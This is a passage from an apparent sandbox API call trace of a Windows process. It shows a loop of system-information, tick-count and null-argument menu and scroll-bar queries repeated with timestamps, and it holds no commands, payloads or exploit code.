lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.266] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.266] GetTickCount () returned 0x19f3b [0043.266] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.266] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.266] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.267] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.267] GetTickCount () returned 0x19f3b [0043.267] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.267] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.267] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.267] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.267] GetTickCount () returned 0x19f3b [0043.267] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.267] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.267] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.267] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.267] GetTickCount () returned 0x19f3b [0043.267] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.267] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.267] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.267] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.267] GetTickCount () returned 0x19f3b [0043.267] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.267] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.267] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.267] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.267] GetTickCount () returned 0x19f3b [0043.267] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.267] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.267] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.268] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.268] GetTickCount () returned 0x19f3b [0043.268] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.268] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.268] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.268] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.268] GetTickCount () returned 0x19f3b [0043.268] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.268] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.268] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.268] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.268] GetTickCount () returned 0x19f3b [0043.268] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.268] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.268] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.268] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.268] GetTickCount () returned 0x19f3b [0043.268] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.268] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.268] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.268] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.268] GetTickCount () returned 0x19f3b [0043.268] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.268] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.268] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.269] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.269] GetTickCount () returned 0x19f3b [0043.269] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.269] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.269] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.269] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.269] GetTickCount () returned 0x19f3b [0043.269] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.269] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.269] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.269] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.269] GetTickCount () returned 0x19f3b [0043.269] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.269] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.269] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.269] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.269] GetTickCount () returned 0x19f3b [0043.269] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.269] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.269] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.269] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.269] GetTickCount () returned 0x19f3b [0043.269] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.269] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.269] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.270] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.270] GetTickCount () returned 0x19f3b [0043.270] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.270] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.270] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.270] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.270] GetTickCount () returned 0x19f3b [0043.270] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.270] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.270] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.270] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.270] GetTickCount () returned 0x19f3b [0043.270] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.270] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.270] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.270] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.270] GetTickCount () returned 0x19f3b [0043.270] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.270] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.270] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.270] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.270] GetTickCount () returned 0x19f3b [0043.270] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.270] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.270] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.271] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.271] GetTickCount () returned 0x19f3b [0043.271] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.271] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.271] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.271] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.271] GetTickCount () returned 0x19f3b [0043.271] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.271] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.271] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.271] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.271] GetTickCount () returned 0x19f3b [0043.271] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.271] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.271] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.271] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.271] GetTickCount () returned 0x19f3b [0043.271] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.271] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.271] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.271] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.271] GetTickCount () returned 0x19f3b [0043.271] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.271] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.272] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.272] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.272] GetTickCount () returned 0x19f3b [0043.272] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.272] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.272] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.272] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.272] GetTickCount () returned 0x19f3b [0043.272] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.272] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.272] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.272] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.272] GetTickCount () returned 0x19f3b [0043.272] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.272] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.272] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.272] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.272] GetTickCount () returned 0x19f3b [0043.272] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.272] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.272] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.272] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.272] GetTickCount () returned 0x19f3b [0043.272] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.273] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.273] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.273] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.273] GetTickCount () returned 0x19f3b [0043.273] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.273] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.273] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.273] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.273] GetTickCount () returned 0x19f3b [0043.273] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.273] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.273] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.273] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.273] GetTickCount () returned 0x19f3b [0043.273] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.273] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.273] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.273] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.273] GetTickCount () returned 0x19f3b [0043.273] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.273] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.273] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.273] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.273] GetTickCount () returned 0x19f3b [0043.273] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.274] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.274] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, 